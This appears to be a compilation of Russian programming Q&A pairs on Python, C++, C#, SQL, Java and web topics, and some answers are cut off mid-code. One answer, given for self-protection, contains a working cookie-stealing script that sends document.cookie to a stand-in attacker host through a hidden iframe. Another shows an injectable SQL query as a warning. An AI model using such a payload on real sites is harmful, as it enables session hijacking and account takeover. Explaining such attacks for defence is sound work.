Есть мнение, что использование слова file в качестве имени аргумента функции - это быдлокодерство. Так ли это? Это ведь не зарезервированное слово языка Python, так в чем может быть проблема?
Ответ
Проблема в том, что использование переменных с теми же именами что и у __buitins__ не позволяет в той же области видимости вызывать эти самые __buitins__. Например, часто переопределяют type, id, и если далее по коду необходимо воспользоваться встроенными одноимёнными функциями, то возникают проблемы. Ну и естественно эта проблема распространяется на аргументы функций, которые также распространяются на всю область видимости функции. Моё мнение - пересечение области видимости с __builtins__ допустимо, но по возможности стараться избегать. Есть случаи, когда просто избежать не получается - например, когда определяешь схему базы данных и у тебя есть колонка с названием id. Не выкрутишься. В Django вместо id предпочтительнее использовать pk, например, который по умолчанию ссылается на id
Как обернуть весь класс в throws? Просто у меня в классе много методов и в каждой я делаю try catch, код становиться здоровым и не читабельным. Можно ли как-то сделать чтобы try catch был только там, где я создаю объект класса. Типа try{ new MyClas() }
В Java не силен, сильно не ругайтесь
Ответ
Укажите вашему конструктору, что он может выкинуть исключение: public class MyClass { public MyClass() throws Exception { } }
Теперь его можно создавать только в блоке try try{ new MyClas(); } catch(Exception e) {}
Все остальные методы также можно сопроводить throws Exception и оборачивать их вызовы в try - так вам не надо будет внутри самих методов писать try блоки
Искал информацию по данному вопросу, но не находил однозначного ответа. Кто-то говорит, что все зависит от разрядности операционной системы: если система x64, то выделяется 8 байт, если же x86, то 4. Другие утверждают, что указатель занимает столько же памяти, сколько и та переменная, на которую указывает указатель. То есть если у меня есть строковая переменная типа string, которая занимает 28 байт, то, если я создам указатель на эту переменную, то и он займет 28 байт? Или же 4(8)? Где представлена верная информация?
Ответ
Размер указателя зависит от настроек компилятора в момент компиляции программы. Больше ни от чего. Как вы скажете компилятору - так и будет. Никакого отношения к OS или hardware, на которых производится компиляция программы, размер указателя не имеет. Настройки компилятора определяют все параметры целевой платформы, для которой будет выполнена компиляция, в том числе и размер указателя. В современных "массовых" целевых платформах используется так называемая плоская модель памяти с указателями размера 32 или 64 бита (4 или 8 байтов). Во времена DOS/Win16, когда подлежащая аппаратура использовала сегментную адресацию памяти, компиляторы С++ поддерживали целый зоопарк разнообразных моделей памяти (tiny, small, large, compact, standard, huge и т.д.) в каждой из которых мог быть свой размер указателя. Если компиляция производится для какой-то более экзотической целевой платформы (embedded etc.), то и размер указателя может быть совсем другим.
В языке С++ также есть свои особые типы "указателей", такие как указатели-на-члены-класса. Эти типы обычно обладают своей особой внутренней структурой и их размер обычно превосходит размер обычного указателя.
Ребят подскажите как на C# без кучи циклов перебрать несколько List'ов? К примеру есть 3 массива. List list1 = new List() {"1","2","3"};
List list2 = new List() {"4","5"};
List list3 = new List() {"6",};``
Как за один цикл перебрать их по очереди ?
Ответ
Если по-простому, то: foreach (var item in list1.Concat(list2).Concat(list3))
{
...
}
Если надо соединять произвольное количество списков, можно написать универсальную функцию: public static IEnumerable ConcatAll(
this IEnumerable root,
params IEnumerable[] streams)
{
IEnumerable result = root;
foreach (var stream in streams)
{
result = result.Concat(stream);
}
return result;
}
Использование: foreach (var item in list1.ConcatAll(list2, list3))
{
...
}
В чём разница между const int x и constexpr int x? Что из этого стоит использовать?
Ответ
Самый простой пример. Данная программа компилируется #include struct A
{
constexpr static double x = 10.0;
};
int main()
{
A a; return 0;
}
А данная программа нет. #include struct A
{
const static double x = 10.0;
};
int main()
{
A a; return 0;
}
Существенное значение также имеет место, когда этот спецификатор, constexpr, используется для функций. Как вы знаете, только функции-члены класса могут иметь квалификатор const, который имеет отношение к объекту, для которого вызывается данная функция-член класса. Обычные функции не могут быть константными. Спецификатор constexpr введен для того, чтобы заставить компилятор на этапе кмпиляции создавать объекты и использовать их как константы времени компиляции. Например, известно, что стандарт C++ для задания размерности массива требует константное выражение. Используя спецификатор constexpr вы можете задавать размер массива, используя некоторые функции. Например, #include struct A
{
constexpr A( bool b ) : n( b ? 5 : 10 ) {}
size_t n;
};
int main()
{
int a[A( true ).n];
int b[A( false ).n]; int i = 0;
for ( int &x : a ) x = i++; i = 0;
for ( int &x : b ) x = i++; for ( int x : a ) std::cout << x << ' ';
std::cout << std::endl; for ( int x : b ) std::cout << x << ' ';
std::cout << std::endl; return 0;
}
Вывод программы на консоль 0 1 2 3 4
0 1 2 3 4 5 6 7 8 9
Использование constexpr позволяет заниматься метапрограммированием на этапе компиляции, как альтернативная возможность для шаблонного метапрограммирования.
Этот код не компилируется: std::shared_ptr pi = new MyType[5];
Вместо этого, так как конструктор shared_ptr объявлен explicit - приходится писать: std::shared_ptr pi(new MyType[5]);
Я нахожу это как минимум неудобным. В чём причины такого дизайна ? И какой от этого профит ?
Ответ
Допустим у нас есть функция, принимающая умный указатель: void foo(std::shared_ptr data){
//...
}
Тогда такой код приведет к удалению ресурса, хотя мы этого не подразумевали: MyType *object = new MyType();
foo(object);
При вызове функции выполнится создание умного указателя, а при выходе из неё он удалит тот объект которым владел. И все это скомпилируется без каких либо предупреждений.
Толком не освоив I/O в Java я использую библиотеку SimpleStorage. Также сетевые запросы реализую с помощью Retrofit. Вместо SQL юзаю ОРМ, картинки гружу через Picasso, а не руками. Скажите, что меня ждет в будущем? Стоит ли бросать библиотеки? Возможно ли что скоро на собеседованиях не будут спрашивать основы, а вместо них будут проверять на знание библиотек? Ведь это уже стало модно :)
Ответ
Скажите, что меня ждет в будущем? Стоит ли бросать библиотеки?
Нет, библиотеки бросать не стоит, но (имхо) нужно как минимум примерно представлять, как работают используемые Вами библиотеки (не прям всегда, но все же). Иначе, в противном случае – шаг влево, шаг вправо и все... В приличных крупных компаниях собеседования (на джуниора, а может и на мидла) с Вами начнут не с вопросов по платформе, и даже не с вопросов по языку, а с вопросов по алгоритмам (например, те же сортировки, их вычислительная сложность и все такое) и структурам данных. Однако же подобных компаний очень мало и на собеседованиях интервьюеры довольно часто задают вопросы, список которых есть в интернете (и это плохо). Это вопросы по языку и платформе.
Возможно ли что скоро на собеседованиях не будут спрашивать основы, а вместо них будут проверять на знание библиотек?
Ну, проверять только лишь знание библиотек – это вряд ли. Я считаю, что хороший программист, в первую очередь, должен знать теорию по алгоритмам, после этого уже сам язык, а потом уже всякие библиотеки и фреймворки. Резюмируя, скажу: по-моему мнению, сначала (при обучении) нужно написать свой велосипед, а уже потом, в продакшене, использовать готовые и протестированные сторонние средства.
Здравствуйте, скажите пожалуйста зачем и в чём удобства Converter'а в Binding'е?
Ответ
Конвертеры нужны, чтобы не выносить в VM логику представления. VM, например, не должна хотеть знать ширину колонки таблицы, текущий язык, выбранный скин приложения и тому подобные чисто вьюшные подробности. Вот для перевода VM-объектов во вьюшный вид и нужны конвертеры. Примеры. У вас есть VM-объект, означающий дату. Его тип, понятно, DateTime. А в UI вы хотите показывать его в виде «сегодня», «вчера», «неделю назад», «1 апреля» или как-то ещё. Перевод в такую нотацию — хорошее место для конвертера. Вам нужно вывести «15 экземпляров», но если колонка слишком узкая, то нужно сократить текст до «15 экз.». Заниматься размерами колонок — не дело VM, напишите для этого конвертер. В VM у вас язык сообщения, а во View вы решили показывать его в виде флажка нужной страны. Конвертация CultureInfo в pack URI к вашему графическому ресурсу — не задача VM, оставьте это конвертеру. VM вообще не знает ничего о графических ресурсах. В VM некоторые данные иногда отсутствуют (значение свойства равно null), и вы не хотите показывать рамку с красивым фоном для пустых данных. Превратить null в Visibility.Collapsed — конвертер и только он. У вас есть клетка игровой доски, и вам нужно выяснить её координаты. (Предположим, что ваши клетки не квадратные, и в грид автоматически не укладываются.) Размер клетки зависит от размера окна, количества клеток и ещё каких-то чисто визуальных подробностей. Кто будет пересчитывать координаты? VM? Фигушки, эту задачу должен решать конвертер. У вас есть кастомный прогрессбар, он не линейный, а круглый. Кто-то должен пересчитать положение прогрессбара в угол. VM? Нет, VM ничего не знает о стиле, который вы дали прогрессбару. А выставлять свойства для круглого, квадратного и семиугольного прогрессбаров совсем несемантично. Поэтому пусть стиль прогрессбара пользуется конвертером. Вам нужно привязать ширину одного контрола, чтобы она равнялась удвоенной ширине другого контрола. Кто будет умножать на два? Выносить задачу в VM через 18 привязок? Просто добавьте конвертер. В общем, для конвертеров найдётся много задач чисто визуального характера.
На примере select *
from table
where property in ('a','b','c')
или select *
from table
where property='a' or property='b' or property='c'
Ответ
Если говорить про абстрактный SQL - никакой разницы нет. Есть много способов попросить достать одни и те же данные. Впрочем, с точки зрения читаемости человеком in явно выигрывает из-за компактности. А если рассматривать конкретные реализации - то различия могут быть. Например, мой локальный postgresql строит разные планы: melkij=> explain select * from bigtable where id = 1 or id = 3 or id=4;
QUERY PLAN
----------------------------------------------------------------------------------
Bitmap Heap Scan on bigtable (cost=13.34..25.34 rows=3 width=12)
Recheck Cond: ((id = 1) OR (id = 3) OR (id = 4))
-> BitmapOr (cost=13.34..13.34 rows=3 width=0)
-> Bitmap Index Scan on bigtable_pkey (cost=0.00..4.45 rows=1 width=0)
Index Cond: (id = 1)
-> Bitmap Index Scan on bigtable_pkey (cost=0.00..4.45 rows=1 width=0)
Index Cond: (id = 3)
-> Bitmap Index Scan on bigtable_pkey (cost=0.00..4.45 rows=1 width=0)
Index Cond: (id = 4) melkij=> explain select * from bigtable where id in (1,3,4);
QUERY PLAN
--------------------------------------------------------------------------------
Index Scan using bigtable_pkey on bigtable (cost=0.44..17.37 rows=3 width=12)
Index Cond: (id = ANY ('{1,3,4}'::integer[]))
Как можно заметить, in был переписан в другую форму и оценён дешевле, чем несколько эквивалентных or Какие-то другие СУБД может быть переписывают оба запроса в идентичное представление, или же переписывают in в группу or. Вопросы производительности необходимо рассматривать только в рамках какой-то конкретной реализации.
Ребят, помогите мне понять, зачем перед функцией писать слово static?
Ответ
Не статические, обычные, методы можно вызвать у экземпляра класса в котором они объявлены. Они имеют доступ к внутреннему состоянию конкретного экземпляра класса (его полям). Статические методы не привязаны к какому-то экземпляру класса и могут быть вызваны без создания оного. Они не имеют доступа к нестатическим членам класса. Таким образом, если вам в методе не нужно обращаться к состоянию конкретного экземпляра класса, то метод можно сделать статическим.
Вопрос такого рода: могут ли взломать сайт с помощью внедрения JS кода?
Да-да, многие говорят что фантазия безгранична, и что взломать вроде можно, но я пока не вижу способов, да я и в JS не большой спец. Хотелось бы увидеть конкретный пример взлома сайта (получения доступа к ftp, к файлам, возможность удалять/создавать файлы, менять права и тп.)
Для внутренних органов: интересуюсь чисто в целях самозащиты =) Хочу давать право на написание статей на блоге незнакомым авторам, вот и интересно - WP пропускает JS прекрасно, делать с этим что-то, или оставить так.
Ответ
Банальный пример:
var i = document.createElement('iframe');
i.style='width: 1px; height: 1px; visibility: hidden;';
document.getElementsByTagName('body')[0].appendChild(i);
i.src='http://vasya-pupkin-xakep.org/stealcookie.php?c='+document.cookie;
Таким образом хакер Вася Пупкин часто тырит админские куки и очень быстро заходит с ними на сайт. Если у админа есть возможность редактировать файлы из админки - это полный контроль (есть такие штуки как phpftp и phpmyadmin)
Также этот код можно за- и перешифровать три раза, чтобы это был нечитаемый набор символов. Вместо куков можно просто таким образом накручивать посещения другому сайту etc.
Совсем простенький вопрос, но все же для чего нужен input с type="hidden"?
Ответ
Иногда на сервер нужно передать данные, которые сервер сам и сгенерировал. Если понять то, что каждый запрос к веб серверу - это независимый запрос, то серверной части нужно оставлять какие то метки для себя. Можете относиться к этому, как к своеобразным кукисам.
Сразу вопрос (пояснение ниже): Как решаются олимпиадные задачи? На каждую задачу уже есть определенный алгоритм и его можно адаптировать к задаче или новые (порой гениальные алгоритмы) придумываются с нуля?
На вопрос натолкнула вот эта весьма простая задача. Я бросился решать её в лоб, создав список элементов с ссылками на левый и правый элемент, затем просто просматривал элементы, подсчитывал расстояния и находил минимальное. Около 120 строчек кода.
А теперь решение пользователя Delostik
#include
using namespace std; int n,d[110],dist1,s,t; int main(){
cin>>n;
for(int i=1;i<=n;i++){
cin>>d[i];
d[i]+=d[i-1];
}
cin>>s>>t;
if(s>t) swap(s,t);
dist1=d[t-1]-d[s-1];
cout<
Ответ
Для решения олимпиадных задач -- да и во всяком творческом процессе -- нужно и то, и другое: и интуиция (то есть мышление, способность выдумать новое решение без чётких зацепок в условии), и эрудиция (то есть знание типичных и не вполне типичных задач).
При этом эти оба качества не только дополняют, но и помогают друг другу: эрудиция даёт множество других, известных задач, отталкиваясь от которых можно придумать решение данной вам задачи (или свести к ним одну из подзадач); интуиция же помогает увидеть и вычленить общее среди вашей задачи и того, что вам уже известно.
Таким образом, эрудиция (знания) -- это строительные блоки вашего решения, интуиция (мышление) же -- комбинирование этих блоков для решения поставленной задачи.
Перефразируя классика, "мышление без знаний слепо, знания без мышления мертвы".
Часто встречаю вот такую конструкцию:
int ** p;
Я так понимаю, что это указатель на указатель. Зачем такая двойственность нужна и где применяется?
Ответ
Указатель в C — не семантика, а механизм. Он сам по себе не несёт смысла, но может использоваться для выражения того или иного смысла. То же относится и к двойному указателю: он может использоваться для разных вещей. Вот несколько примеров.
В C параметры передаются по значению, то есть из коробки нету передачи параметров «по ссылке» (они же &-параметры C++, они же ref-/out-параметры C#). Для того, чтобы объявить такой параметр, пользуются указателем на фактический параметр (то есть, передают в функцию адрес параметра). Если тип самого параметра — указатель, получается двойной указатель. Пример: void split_half(char* input, char** first_half, char** second_half)
{
var len = strlen(input);
var halflen = len / 2;
*first_half = malloc(halflen + 1);
strncpy(*first_half, input, halflen);
(*firsthalf)[halflen] = 0;
*second_half = strdup(&input[halflen]);
}
В C указатель может обозначать массив. Если тип элемента массива — указатель, получается двойной указатель. Классический пример: int main(int argc, char** argv) { ... }
Двойной указатель можно использовать для массива массивов. Например, квадратная матрица: struct matrix
{
int** data;
int width;
int height;
} void init_matrix(int width, int height, struct matrix* matrix)
{
matrix->width = width;
matrix->height = height;
matrix->data = malloc(height * sizeof(int*));
for (int y = 0; y < height; y++)
matrix->data[y] = malloc(width * sizeof(int));
}
В C++ обычно ручное управление памятью не приветствуется, поэтому там кратные указатели встречаются куда реже.
Доброго времени суток ! Хочу научиться правильно проектировать свои приложения. Чтобы код был читаемым для других программистов. Знаю, что существуют паттерны проектирования, но я не умею ими пользоваться. Хочу, чтобы вы помогли понять, как мне лучше спроектировать данную задачу:
Есть класс, который конвертирует XML файл и возвращает List<> с этими данными.
Есть класс, который делает манипуляции с изображением (в параметре метода путь к файлу берется из XML), и этот метод должен возвратить n-ное количество картинок (их очень много), так как одну большую обрезаю несколько раз. Можно ли сделать какой-нибудь метод в этом классе, чтобы фабрично создавать картинки?
И класс, который записывает эти картинки в базу данных.
Есть идея реализовать потоки (Threads) в момент деления картинки на части и записи их в БД. Какие паттерны подходят больше под мою задачу? И объясните новичку, каким образом Вы, профессионалы, их выбираете?
Код уже написан, но его я бы назвал плохим кодом. Хочу научиться делать все правильно! Спасибо за понимание.
Ответ
Тема применимости паттернов проектирования тянет на весьма объёмную статью или даже книгу, уложить всё это в ответ на форуме невозможно. Но, раз уж вы спросили, вот несколько советов:
Если плохо даётся понимание паттернов проектирования - читайте Паттерны проектирования Фрименов, Сьерры и Бейтса. В этой книге очень доходчиво объясняются самые распространённые паттерны.
Почитайте классический труд на эту тему - Приемы объектно-ориентированного проектирования. Паттерны проектирования "Банды Четырёх". Эту книгу удобнее всего использовать как справочник, в котором описаны назначение, области применения, детали реализации и выгоды от использования конкретных паттернов.
Помимо классических паттернов, описанных в этих книгах, существуют паттерны, применяющиеся в конкретных областях: enterprise, параллельное программирование, веб-разработка и т. д. Существуют каталоги паттернов, в которых вы можете с ними ознакомиться.
Подумайте, точно ли вам нужны именно паттерны. Существует множество приёмов рефакторинга, позволяющих сделать код более чистым, красивым, читаемым, надёжным. Вы называете свой код плохим - задумайтесь, почемы вы так считаете. Много повторяющихся участков - выносите в отдельные методы. Много switch/case или многступенчатые if/else - выносите в отдельные классы. Метод в пару сотен строк - разбивайте на более короткие, делающие осмысленные и законченные куски работы. Об этом можно подробно почитать в книге Рефакторинг. Улучшение существующего кода Фаулера и компании, либо кратко - в этой шпаргалке
Ещё раз подумайте, нужны ли вам паттерны. Основная задача паттернов проектирования - делать код легко расширяемым и изменяемым. Подумайте, будет ли ваше приложение изменяться, если будет, то как и в каких местах. Если таких мест мало или нет, возможно, вы занимаетесь overengineering'ом, то есть бессмысленным усложнением кода.
Никогда не думайте "куда бы мне пристроить паттерн в моей программе". Такой подход - прямой путь к бессмысленному усложнению кода. Правильный ход мыслей - "в моей программе есть задача, которая хорошо решается при помощи паттерна". Для верности сверяйте формулировку вашей задачи с областями применимости паттерна в каталогах паттернов.
Грамотное проектирование приложений - вопрос опыта. Чтобы получить этот опыт - максимально критически рассматривайте свой код, ищите проблемы в дизайне, исправляйте их. Со временем вы начнёте чётко видеть "шероховатости" и потенциальные ошибки, а позже - предугатывать их на этапе проектирования. Посоветовать что-либо более конкретное в рамках ответа сложно. Если у вас есть конкретные вопросы по проектированию приложений, не стесняйтесь их задавать. Вам наверняка помогут, если вы более подробно опишете свою задачу и приведёте свой вариант решения.
Ребят, у меня возникли вопросы по строкам в c#.
Чем отличается класс String от StringBuilder?
Зачем нужно такое разделение?
В чем преимущества того и другого?
Что из этого лучше использовать?
Почему StringBuilder лучше использовать для работы с большими объемами текста?
По возможности ответьте с примерами. Заранее спасибо за ответ.
Ответ
String - это строки. Они неизменяемые т.е. конкретную строку нельзя подправить/дописать/укоротить. Любые операции над строками приводят к созданию новой строки (с копированием всего текста). При этом старая строка уходит в мусор (если у вас не остается на нее ссылки). Так сделано из соображений
Экономии памяти - не надо подстраховываться и копировать строку "на всякий случай" при передаче куда-то в другой метод. Он ее точно никак не испортит.
Производительности - можно высчитывать хэш строки один раз, и не заморачиваться с поддержанием его актуальности. Это дает быстрые сравнения строк на равенство (особенно если строки разные).
Безопасности - код может спокойно работать с пришедшими извне строками, не опасаясь что кто-то влезет в строку по дороге.
Простоты работы с несколькими потоками - нет проблемы одновременных изменений.
Соответственно, при сборке большой строки из многих маленких эта особенность - неизменяемость строк - приводит к множественному копированию данных и к генерации большого количества мусора. Для решения этой проблемы есть класс StringBuilder. Это не "строка", а класс для сборки строк из кусков, позволяющий в конце получить результирующую строку вызовом StringBuilder.ToString()
Если вам надо просто работать со строками - используете String
Если вам надо собрать одну большую строку из пачки маленьких - используете StringBuilder
Чем грозит использование прямых запросов к БД через DB::select() ?
Мне проще написать запрос на SQL или написать сложную процедуру в БД, чем использовать правила Eloquent ORM.
Ответ
Если использовать привязку параметров в запросах, то инъекция не пройдёт: DB::select('SELECT * FROM users WHERE id = ?', array($userId));
Опасность представляет непосредственная вставка пользовательских данных: DB::query('SELECT * FROM users WHERE id = ' . $userId); // НИКОГДА так не делайте!
Я солидарен с вами в отказе от ORM, и всегда использую parameter binding.
Есть к примеру вот такая строка tabLayout.getTabAt(tabLayout.getTabCount() - 1)
.setIcon(getResources().getDrawable(R.drawable.icon_contacts));
В студии это выглядит так:
Вопрос: чем заменять такие методы, и где можно найти актуальные методы которые могут заменить функционал deprecated-метода.
Ответ
Найти актуальные методы всегда можно в документации. Конкретно по getDrawable: http://developer.android.com/intl/ru/reference/android/content/res/Resources.html#getDrawable(int)
deprecated с API 22. Указывают, что заменить можно на Context.getDrawable(int) или getDrawable(int, Theme), передав тему. Либо использовать библиотеки совместимости, тогда так: ContextCompat.getDrawable(context, R.drawable.***), тогда не нужны проверки.
Пересмотрел кучу статей в интернете и как мне кажется так до конца и не понимаю, что такое html5 и CSS3. Понимаю, что такое html4 и css2 - грубо говоря набор тегов, который был актуален пару лет назад. Так вот, что я не понимаю, вроде как в версии html5 были добавлены новые теги. Т.е. html5 это только доп теги? Потому что какие-то теги были убраны, какие-то добавлены. Например, тот же div , span. Они же теперь в html5? Часто слышал выражение, сделано на html5. И как понять сделано на html4 или на html5, если использовался div и span? Есть ли полный список тегов для html5? И еще я где-то слышал, что уже давно нет разделения html5, есть просто html, это типа как был бред, вроде как язык-то один. Раньше говорили, чтобы писать на html5, надо прописать doctype html. Хотя я честно говоря этого не понимаю, вроде браузеры уже давно не обращают внимания на переходной doctype
Ответ
HTML5, к сожалению, применяется в нескольких значениях, поэтому "чтение кучи статей" вас скорее ещё сильнее запутало. Есть HTML версии 5 как язык разметки, документ написанный на этом языке должен быть обозначен . Тогда браузер считает, что для его интепретации надо использовать соответствующий стандарт. Да, на практике стандарт можно не соблюдать, но в таком случае работа в HTML5-совместимых браузерах не гарантируется. (В этом суть практически всех стандартов: либо соблюдаешь, либо не рассчитываешь на него.) Можно не использовать ни одной новой фичи HTML5 по сравнению предыдущими версиями, но если доктайп правильный и стандарт соблюдён, то формально это HTML5. Часто HTML5 употребляется в значении "набор технологий", который был реализован в браузерах только с приходом HTML5. К примеру, элемент
Хотелось бы немного потренироваться на кошках в области составления sql запросов, индексов и всего такого. Для этого мне хотелось бы найти какую-нибудь большую базу данных с достаточно большим количеством записей в таблицах (более 100 миллионов). Может кто знает, есть ли где такие бэкапы в свободном доступе?
Ответ
Stackexchange (частью которого является этот сайт) публикует дамп собственной базы, правда я сам не пробовал с ним играть.
Структура базы в этом дампе в общих чертах описана тут.
Если есть проблемы с импортом этого в sql, то по метке data-dump есть несколько ответов по вопросам связанным с импортом. Еще список баз, которые можно использовать для тестирования, может быть частью устаревшим, но большей частью полезен
Привет. Вопрос по sql по клаузуле GROUP BY.
Рассмотрим группировку по ОДНОМУ столбцу. Пример: SELECT DEPARTMENT_ID, SUM(SALARY)
FROM Employees
GROUP BY DEPARTMENT_ID;
То есть, в столбце DEPARTMENT_ID ищется уникальное (похоже на DISTINCT) значение отдела, например, 30, затем ищутся все строки, где упоминается отдел 30 в данной таблице, из этих строк берутся значения из столбца SALARY и суммируются (SUM). Потом ищется другой покупатель и все повторяется. В итоге я получаю сколько получил вообще денег каждый отдел. Не понимаю момент: у меня есть 6 строк, в которых есть столбец DEPARTMENT_ID со значением 30. Какая из строк пойдет в таблицу-SELECT и почему? То есть, в таблице Employees было шесть строк с DEPARTMENT_ID 30, а в таблице-SELECT такая строка только одна. Как вообще эта группировка работает?
Рассмотрим группировку по двум столбцам. Ее я вообще не понимаю. Даже картинки нормальной не нашел, из которой было бы понятно. Просмотрел кучу статей и книг по этому вопросу, но не понял ничего.
Ответ
Добавлю с примером запросов и вывода GROUP BY по двух полях.
Смотреть можна по таблице в которую например сохраняеться какой пользователь(user_id) вносил деньги, на какой счет(account) и сколько(balance).
Например нужно узнать сколько каждый пользователь внес на каждый со своих счетов. SELECT MIN(user_id), MIN(account), SUM(balance) FROM `t1` GROUP BY user_id, account;
Работает GROUP BY по двух полях так же как и по одному, сначала сортирует, а потом смотрит если оба значения в строке такие же как и в предыдущей строке тогда групирует эти строки. Если хотя бы одно значение не такое как в предыдущей строке тогда групировки не будет. Для 3 и больше полей GROUP BY работает так же.
Как сохранить переменные анонимного типа в к коллекцию?
Ответ
Зависит от того, что дальше предполагается делать с коллекцией. Если коллекция - объект временный, то можно вынести работу с ней в обобщенный метод (разумеется, сама коллекция также будет иметь снаружи анонимный тип): static List CreateCollection(T item) {
return new List { item };
} static void AddToCollection(List list, T item) {
list.Add(item);
} // ... var c = CreateCollection(new { a = 5, b = "foo" });
AddToCollection(c, new { a = 6, b = "bar" });
Если коллекцию надо куда-то сохранить, можно попробовать найти базовый тип или написать обобщенный адаптер: ICollection Collection { get; set; }
IEnumerable